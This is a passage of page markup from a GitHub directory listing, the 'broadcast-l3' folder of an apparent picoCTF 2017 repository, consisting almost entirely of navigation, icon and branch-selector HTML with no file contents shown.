px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> s-nirali </span> <span>/</span> picoctf-2017 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/s-nirali/picoctf-2017/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":106162393,"originating_url":"https://github.com/s-nirali/picoctf-2017/tree/master/broadcast-l3","user_id":null}}" data-hydro-click-hmac="14ee1568f2f9aea518de62e2f2b0c057a1eda1ba0beb12205957ee45ffdfc0bc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/s-nirali/picoctf-2017/refs" cache-key="v0:1507452787.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cy1uaXJhbGkvcGljb2N0Zi0yMDE3" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/s-nirali/picoctf-2017/refs" cache-key="v0:1507452787.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cy1uaXJhbGkvcGljb2N0Zi0yMDE3" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>picoctf-2017</span></span></span><span>/</span>broadcast-l3<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>picoctf-2017</span></span></span><span>/</span>broadcast-l3<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment 